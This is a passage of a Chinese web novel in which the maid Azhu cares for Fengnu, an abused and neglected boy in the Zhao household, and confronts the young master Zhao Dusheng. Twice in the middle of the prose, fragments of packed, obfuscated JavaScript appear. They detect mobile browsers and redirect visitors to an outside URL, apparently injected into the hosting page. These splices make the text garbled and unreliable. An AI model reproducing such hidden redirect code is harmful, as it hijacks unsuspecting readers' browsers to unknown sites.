只是赵府的女人太多,她之于赵光行不过是个新鲜玩意儿,等大了肚子生下凤奴,赵光行很快就冷落忘了她。哪里还记得他曾从扬州带进府一个姑娘。 凤奴从小被白眼惯了,就连小李氏见他都会忍不住啐骂一句: “小孽种。” 他刚出生时,小李氏尚且还躺在床上,脸上流泪身下流血就要爬下去把他给掐死。 人的命越贱越硬,府里被遣来的老嬷嬷进来喂药,拦住了小李氏。嘴里边喊着造孽边从小李氏手里抢回孩子。 等老嬷嬷抢回来,凤奴脸都已经紫黑。老嬷嬷探他的呼吸,凤奴洗不了气,半天都没反应,急得她抱起来一直用力拍背。 凤奴没死成。 他哭得那么响,就好像自己命不该绝,为母亲不爱自己伤心欲绝地痛哭。 好在有老嬷嬷的照顾,凤奴勉强长到了懂事的年纪。他凤奴这名字还是老嬷嬷给取的。 亲爹给他定的字是翎,赵翎。是赵光行来见他时,几只鸟停在窗前的树枝上才随意想起的字。 赵光行不喜欢他,除去他母亲还有另一个原因。 宋夫人膝下无子,她拿着凤奴的生辰八去寺庙找大师批过几次,每一个都说是大凶大恶之命。 他赵府不出文曲星也就罢了还来个犯大凶的不肖子孙。渐渐的,府里从上到下都知道凤奴命格凶恶。 再加上凤奴懂事后,性情古怪孤僻,不要说见了人不会问好,就是见了赵光行也是嗯嗯啊啊叫不上一声爹。反而一个人对着院子里的花花草草不知在说些什么东西。 府里说风就是雨,说这孩子母亲出身烟花柳巷,因此身上带了脏东西。说不定是哪路该死的刑犯投胎转生到了小李氏的肚子里,是前世带过来的冤孽。 老嬷嬷死前,凤奴倒是过了会儿与人隔绝的日子,衣食住行虽然差但还尚且活得过去。老嬷嬷一死,凤奴的日子就更难熬了,小李氏身体每况愈下,常常把自己关在屋子里,她根本不会去管这个儿子。 最终是林管事于心不忍,叫人去小李氏院子照顾凤奴。 阿朱也就是流玉刚进府,这种没好处的差事自然会落在她头上。 院子没人打扫除草,杂草从花圃里长出来,远比种下的花草更加茂盛。 阿朱到处刚逛了逛,小灶台也是积了层厚厚的灰,没人用过。 正门大开着,阿朱没瞧见人。她去敲了几下,好一会儿里面都没有回应。 阿朱以为人还睡着,没敢再打扰,准备退下时,里头幽幽传来女人说话的声音和孩子难以抑制的呜咽声。 阿朱忍不住推门进去,女人扯住孩子的衣领,另一只手在孩子身上来回狠命掐着。 正年少的姑娘,脸蛋被大宅院磋磨得揉皱又展开的花瓣,枯萎衰败,透着股子赵府的迂腐陈旧。 五根指甲深陷进凤奴的手臂里,小李氏对着凤奴的脖子下狠劲,啐道:“小贱人,说了几次了还敢进来吵我?” 她的声音沙哑得像粗纸,一副要吃了凤奴的架势,凤奴回头用一种惊恐水亮的眼睛望着阿朱,愣是不敢放声哭出来。 阿朱连忙上前恭敬地行了个礼。 “姨娘,我是林管事叫来的丫鬟。” 小李氏顿了顿,将凤奴推在地上。 “哦,我还以为我们娘儿两要死在这儿了呢。没想到还有人记得我们,替我多谢林管事。” 凤奴委顿在地,细瘦的肩膀在过于宽大的衣服里簌簌抖动着。 小李氏似是察觉到了阿朱的目光,不屑地哼声道:“行了,把他带走吧,我看了就烦。” “是。” 阿朱上前就要扶起来凤奴,没想到凤奴自己站了起来。他不理阿朱,阿朱自己捏了捏自己的手指头,默默跟在他后面。 到了院子,凤奴坐在台阶上,一动不动地蜷缩起膝盖。 “这里冷,要坐回屋坐。” 他浑身灰扑扑的像冬日里在雪地觅食的麻雀,阿朱忍不住唠叨。 烦。 凤奴饥一顿饱一顿的日子实在太过平常,要比普通孩子瘦上许多凸起的锁骨露出来冻得发红。 阿朱久久地凝视着孩子瘦削的脸庞,他凹陷的脸颊上蒙着一层没吃饱饭的青灰,阿朱太熟悉这种脸色了,心里顿时有种同病相怜之感。 凤奴身体幅度不大地颤抖着,破旧宽大,打满补丁的衣服根本无法抵御冬寒。 阿朱从房内拿了件旧披风,裹在凤奴身上。他还小,阿朱对他倒是不怎么畏惧,为他披上衣服倒是出自本心。 凤奴对阿朱的行为没什么反应,阿朱原以为他是不在意,等蹲下身离得近了,才注意到凤奴扑朔抖动的睫毛下,眼睛亮得惊人,那是对阿朱近乎锐利的警惕与防备。 飞扬的眼尾漂亮极了,像深山从未踏足过人群的仙灵神兽才能有的眼睛。 阿朱看了没几眼,不自然地咳嗽几声。 “你别怕,我就给你披件衣裳,不烦你。” 阿朱挪挪位置双脚踩在一块石板上,蹲在比凤奴更矮,歪着脑袋问他:“你饿不饿,这会儿快晚上了。” 凤奴将尖尖的下巴埋在披风里,一言不发。 阿朱拿他没有办法,又觉得这孩子其实没有众人说的那么恐怖,可伶得紧。 阿朱挽起袖子,顺手摸了摸凤奴翘起的头发,“好了,我要去干活了,你有事儿叫我一声我就来了。” 说罢,阿朱就去水井旁打水,她没看见凤奴在她背后,用力地攥了几下阿朱触碰过的头发,眼里全是嫌恶。 冬天的井水还算暖和,不怎么冰人手,阿朱向来是个勤快人。凤奴就坐在原地看她忙前忙后,将屋内打扫得干干净净。 她在院子里忙活来回的间隙,还会抽空望眼凤奴,凤奴坐在老地方,垂着眼睛用树枝在地上画些阿朱看不懂的字。 这孩子真能沉得住气,阿朱用力一挥,带起杂草。 日落西沉,阿朱拍干净手掌的灰,终于把屋子里外重新打扫一遍。她从林管事那里领了点面粉和食材,晚上烙了玉米饼。 小李氏不怎么爱搭理她,无论什么只让她自己摆在桌上,不要去吵她。 阿朱抬着几块饼蹲在凤奴面前。 “好了,你在这儿一天了,该吃饭了。” 凤奴低垂的睫毛抖了抖,可手上写字的木枝继续在移着。 阿朱咬了口饼,努力转着脖子嘴里腮帮子鼓鼓的,不太清晰地哇了一声,道:“你还会写字呢!” 凤奴终于抬头望了阿朱一眼,阿朱不好意思地挠头,搓了搓鼻尖,“别看我啊,我不会写字,只认得几个。真的很香你闻闻。” 她故意拿着饼在凤奴鼻子下扇。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658199|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 凤奴太奇怪了,身上有着不符合他这个年纪该有的安静。 “你既然不爱理人,我就不吵你了,吃的我放灶台里,床我给你收拾好了,吃完早点回屋睡觉。” 这院子里加上阿朱一共就三个人,没人会来盯着阿朱,阿朱一身轻自在不少,她一个人吃完收拾了就躺回床上。 阿朱总觉得自己忘了什么事情,自己不该在这儿,可身边的一切如此真实,真实到阿朱以为自己所思所想不过是错觉。 入夜,阿朱累得厉害,窝在被窝里,嘴角的口水都快淌在枕头上,屋外一声陶罐碎裂的声音在安静的院子里炸开。 睡意消失得一干二净,阿朱猛地起身。 什么东西!? 阿朱抹了把脸,随手披上衣服往外走。 真冷啊,可是之前没这么冷啊,阿朱又开始呼吸乱想了,算了先找到声音从哪儿发出来的吧。 陶罐,难不成是老鼠在厨房里乱窜,碰倒了? 阿朱迈起小碎步冲进厨房,厨房里除了根点燃的蜡烛空荡荡的。她扫了一眼灶台,注意到自己留下的面饼被人动过了。 眼珠子提溜一转,阿朱推了门一下,门栓撞出声音,阿朱站在原地静静等了会儿。 果然,墙角的木柴堆里窸窸窣窣的传来动静,阿朱小心翼翼地迈开腿,轻手轻脚地挪到那堆柴火前。 “逮到你了!” 阿朱龇着大牙,用烛光照亮柴火堆下面。 凤奴像条树林里被骇了一跳劫后余生的小鹿,睁着黑而亮的眼睛,对上阿朱发蠢的的笑眼。 “你在这儿做什么呢?” 凤奴浑身发抖,手上似乎藏了什么东西。 阿朱以为他吃了不该吃的东西,怕他吃坏肚子,伸手就要去掰凤奴藏在身后的手。 凤奴年纪小,力气没有阿朱大,他脾气倔强的就是不肯拿出来给阿朱看。 一个不留神,凤奴突然小声地痛呼了一声,阿朱以为碰到他伤处立刻停下手上的动作。 凤奴定定地看了阿朱一会儿,眼睛里慢慢涌上一层薄泪。阿朱叹了口气,估计自己碰到了他伤口,实在没辙地同凤奴一般坐在了地上。 “你给我看你手里的是什么东西,我不会怪你。” 凤奴摊开手,露出掌心一小块硬到掉屑的玉米饼。 “这都凉了多久了,你还吃。” 阿朱瞥了眼,凤奴露出的手臂上掐痕狰狞,一个个深色快腿去又或还没褪去的淤青,斑点似的留在细嫩的皮肉上。 凤奴脚边还放着一碗冰水。他脸色苍白,正脸朝向阿朱,努力乖巧地笑了一下。 “你肚子疼不疼?” 阿朱看不得凤奴察言观色的可怜样。 “来,上来,我背你去睡觉。” 凤奴紧盯阿朱不算宽大的后背,犹豫了几秒钟,缓缓伸出手环住了阿朱脖子。阿朱站起身,双手拖了拖凤奴的身子。 凤奴在阿朱背后新奇极了,但仍然小心翼翼地观察阿朱的动作,他把脸完完全全埋进阿朱的脖颈,轻轻嗅了嗅,眼里闪过好奇的波光。 小李氏早就关门熄灯,阿朱只得背着凤奴去自己的屋子。 凤奴虽不爱说话,但在阿朱背上倒是乖乖的不动。阿朱粗心根本没意识到凤奴怕她。 离开阿朱的背躺上床时,凤奴整个人还难以自抑的抖了下。 阿朱给他盖好被子,两个人钻进被窝,露出两颗毛茸茸的脑袋。凤奴肚子疼得厉害,可他不敢和阿朱说只敢慢慢蜷起身子,小声哼哼起来。 原以为阿朱背对着自己,什么也没听见,没想到阿朱突然转过身,用胳膊搂住了他。 “下次不能在这样吃了,深更半夜的吃饭,肚子就会痛哦。” 阿朱伸手抚摸凤奴的肚皮,她掌心热乎乎的,一下一下拍着凤奴的身子。 凤奴紧张恐惧很快被身旁小火炉似的人热得烟消云散。他慢慢睡了过去,嘴里似乎念着什么,恍恍惚惚如同梦呓。 27. 第27章 凤奴的目光太专注,他把脸凑在阿朱的身上,嗅了嗅,阳光晒过稻草味儿还有苹果香。 阿朱本就处在半睡半醒的边缘,恍惚间睁开眼,就看见怀里有个人静悄悄地望着自己。 阿朱当下吓了一跳,差点爬起来,后知后觉这人是凤奴,又重新倒回去。她偏头朝凤奴懒羊羊地说了句。 “怎么醒这么早?” 冬天天气冷,阿朱生出了想赖床的心思。可她还得早起收拾收拾,照顾院子里一大一小两个怪人。 阿朱这会儿若低下头,就能瞧见凤奴漆黑眼底闪着的光亮。可她很快利索地翻身下床。身后的凤奴垂下眼睫,眼底划过一丝失落。他以为阿朱要叫自己起来,结果阿朱没有。 “你要想躺就躺会儿。” 于是,凤奴理所当然地埋进被子里赖了会儿从来没有赖过的床。被子外只露出眼睛,谨慎地打量阿朱,阿朱去哪儿他眼珠子就转哪儿。 阿朱先是给自己洗漱好,等重新打上水,试好水温,她才把凤奴从被子里拖出来。 凤奴呆愣愣地望着水盆里的白汽蒸腾的热水。 “来,闭眼睛。” 他乖乖仰着脸闭上眼睛,纤长的睫毛低低垂着,耳边全是盆里的水声,冷不丁听见阿朱说: “你可真好看。” 这是凤奴第一次听人如此直白地夸奖自己,垂放在身体两边的手不由自主地攥成拳头。 阿朱不算温柔的在凤奴脸上来回搓了搓,将凤奴搓得迷迷糊糊,头发也翘了起来,她还忍不住笑出了声。 小李氏的门窗经常全天紧闭着。阿朱进去送早饭才发现昨晚留下的晚饭在桌上压根没动过。 临走,她望着小李氏的背影忍不住出声道:“不管怎样,饭菜得吃点,人不吃饭就不好看了。” 想要活得舒服有又有尊严是件困难的事情,虽然做不到感同身受,但阿朱勉强能理解小李氏的做法。她不肯理阿朱,阿朱便自作主张将门窗打开通风,又将屋内的灰尘扫了个遍。 凤奴不喜欢晒太阳,这会儿冬日里太阳正是暖和的时候,凤奴依旧躲在屋檐下。 “怎么不出来晒晒太阳,那儿多冷啊。” 阿朱说罢上前伸手从凤奴腋下穿过去,将他抱起来放在太阳底下。不没曾想凤奴到了太阳底下竟嫌弃日光刺眼似的抬手挡了挡。 凤奴总是不说话,阿朱只有一声绵长的叹息。她弯腰试图和凤奴对话。 “你不说话,我就不知道你在想什么,你得会说话,告诉我你开心还是不开心。” 阿朱摸了摸凤奴的头顶,沉静地同凤奴对视,这对凤奴而言却是无声的逼迫。 看,大部分人的善心只能维持在最开始。久病床前无孝子,更何况是一个毫不相关的陌生人。凤奴毫不意外。正如他心中所想,阿朱果然和其他人一样,只是刚开始对他好,然后就开始变得不耐烦,进而厌弃。。 “啪”的一声清脆响,凤奴伸出手掌打在阿朱的手背上。 阿朱还没来得及问他做什么,凤奴就一下撞开阿朱迈着小短腿朝院子外跑出去。 “你跑去哪儿!?” 自然不会有人回答阿朱,阿朱张开嘴不知道如何是好。她以为凤奴跑远了,其实没有,凤奴就躲在院子外蹲在墙根,用树枝在地上戳来戳去。 不是关心他吗?装也要装得久一点吧。他只是跑出这么点距离都不愿意出来追他看看他到底去哪儿了吗?真虚伪,都虚伪,都不是好人。 阿朱不是心思多么丰富细腻的人,她还有好多事要干,在她眼里凤奴只要知道回家就行。 远处石砖路上传来孩童蹦蹦跳跳的声音,凤奴正目不转睛地盯着地上的字,还没来得及抬头,一颗石子破空而来,堪堪擦过他的耳垂。 石头撞上墙根留下细碎的白痕。凤奴波澜不惊地同赵渡生对视。 “你怎么又出现在我面前,我不是说过吗不许再跑到我面前来。” 赵渡生分明才是那个入侵者,却依然底气十足地反过来说凤奴跑到他面前。 凤奴远比赵渡生沉得住气,那双眼睛总是有着不合时宜的沉静。面对一个油盐不进的人,赵渡生自尊心强,他像对着空气说话,自说自话到突然涨红了脸。 难堪之余,他又从地上抄起块碎石用力掷出。 凤奴原本是可以躲开的,可他像是想起什么硬生生停住,任由石块砸在额头上。 “你、你做什么、不躲,你明明就可以躲开的。” 见真砸到人,赵渡生反而支支吾吾说不出话来。 凤奴看了眼院门,怎么还没有出来? 他俯下身子捡起一块石头,在赵渡生眼皮下二话不说,朝赵渡生砸过去。 “啊——” 赵渡生连忙捂住头,惊叫一声。凤奴得偿所愿地笑了下,这笑落在赵渡生眼里就是赤裸裸的挑衅。 “你居然敢砸我,”赵渡生看着自己新狐裘留下的土渣,怒火中烧,四下开始搜寻起来,预备找块更大的石头。 阿朱正用针线把破了的衣服重新补起来,忽然听见院外一声惨叫,她连忙放在手中的东西,急匆匆往门外跑去。 “凤奴!” 凤奴听见了熟悉的脚步声,心满意足。可阿朱出来的第一眼竟然不是看他。 阿朱一眼就望见了还没到自己腰的小人。她楞楞看了片刻,这张缩小了的同赵渡生一模一样的脸。 赵渡生好小,昂着肉嘟嘟的小脸,眼神桀骜不驯,即使是一个人来不熟悉的地方面对不熟悉的人依旧摆出天不怕地不怕的气势。 阿朱忍俊不禁,径直低下头笑了笑。凤奴阴沉沉的死死盯住阿朱,阿朱眼神逐渐黯淡失色,过了会儿她蹙起眉头不明白自己在笑什么。 转念一想,她不由得开始感慨凤奴和赵渡生两人分明是差不多的年纪,可赵渡生从头到脚都是被人精细养着的,是花圃里最繁盛的那只花骨朵。相比之下凤奴简直像田地里无人照管被虫吃得乱七八糟的小青菜。 阿朱不用问是谁,她扫了眼凤奴身上的白灰,脸色不禁难看起来。 “你打人?” “我打人怎么了?我打的就是他。” 阿朱同赵渡生大眼瞪小眼,毫不客气地一把揪住赵渡生的衣领。 “谁许你这样打人的?” 赵渡生在她手掌心挣扎,手掌不住地拍打阿朱的手臂,试图去抓阿朱的弱处,在惊慌失措下还胡乱大声喊叫:“你知道我是谁吗?” 阿朱恶从胆边起,故意晾着赵渡生看她挣扎不停。等赵渡生累了,阿朱又问:“你为什么要打人?” 阿朱可不惯着赵渡生,她知道赵渡生的脾气,直截了当地上前拉过赵渡生藏在袖子里的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672703|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说了我想打谁打谁,你对我干什么!你信不信我……啊!!” 阿朱一巴掌打在赵渡生莲藕似的小手臂上。赵渡生一脸不可置信,火辣辣的痛感后知后觉。“你……你居然敢打我……我要告诉宋夫人,我要告诉我爹!” “啪!” 阿朱又打了一巴掌,“你去告诉菩萨也没用。” “啊啊啊哇呜呜呜呜……你居然打我啊啊啊啊!” 怎料赵渡生这会儿年纪虽小,但脾气可比长大那会儿大上许多。赵渡生撕心裂肺地哭喊起来,阿朱打他,他一不做二不休不由分说踹了阿朱的小腿一脚。 虽说年纪小,但小孩儿大人也是痛的。 “你怎么这样坏!” 阿朱掐了下赵渡生脸颊,赵渡生委屈巴巴地捂住脸,眼眶瞬间就红了,大滴大滴的眼泪从红肿的眼皮下涌出。 “娘亲……都不这样对我,你,你是谁?” “我叫阿朱。怎么了你要回去告诉你娘亲我打你,然后让你娘亲来打我吗?” 豆大的眼泪挂在赵渡生下巴上摇摇欲坠,被阿朱一激,赵渡生果然立刻反驳道:“才不是!” 阿朱软了语调说:“唉,真的吗?那太谢谢你了!不愧是小少爷,我还以为你要告状。” 赵渡生二丈摸不着头脑,单纯以为人家真谢他呢,脑子里搅得稀里糊涂。 “你谢我作甚?” “没什么,你以后不许再朝凤奴扔小石头。” 赵渡生十根手指头拧在一起,扭扭捏捏地不肯说话。 “你既然不说话那我就当你同意了。” 赵渡生嘴里嘟哝了一声:“讨厌。我才不要,以后你不在我照样会朝他扔石头。” 话说完,他不给阿朱反驳他的机会转身就跑了,他穿得臃肿,整个人跑起来摇摇晃晃的像冰面上的小鸭子。 阿朱下意识地摇了摇头。 这一切都落在了凤奴眼里,他一言不发眼睛隐在黑影里默默注视着阿朱的动作,面上浮现出一抹戏谑和蔑视。 等阿朱回头,他又换上了另一种神态。他失魂落魄地站在墙前,没有半点声响。 看得阿朱善心大发,她过去拉起凤奴的手,将他笼进怀里,拍干净他身上的灰。 阿朱另外在小炉子上热着水,兑了点冷水,用湿巾擦掉凤奴耳垂和脖子上的白灰。 凤奴安静的在阿朱手里任由阿朱对他动作,这孩子实在惹人怜爱,阿朱早就被他那张乖脸迷得七荤八素。 “你不要恼他,你越恼他就越来惹你。” 小李氏最喜欢咒他,骂人的话无所不用其极,他凤奴要是哪天死了,小李氏一定会拍手叫好,第一个笑出声来。小李氏说他这样的人不会幸福,是不会有好下场的,可凤奴不信。 他看着阿朱,其实这蠢丫头很普通,和赵府里的其他人没有什么区别,说话做事虽然自以为聪明但总是很容易露出马脚破绽。 有人在凤奴被欺负的时候站在他面前替天挡着,仔仔细细擦干净自己身上不干净的地方,难道这就是世人追逐的幸福吗? “好。” 阿朱粗略地回过神问:“什么?” 凤奴轻轻地掂脚去碰阿朱的鼻尖,“谢谢阿朱。” 阿朱瞪大了双眼,怔愣片刻后喜不自禁地大喊一声:“你说话啦!”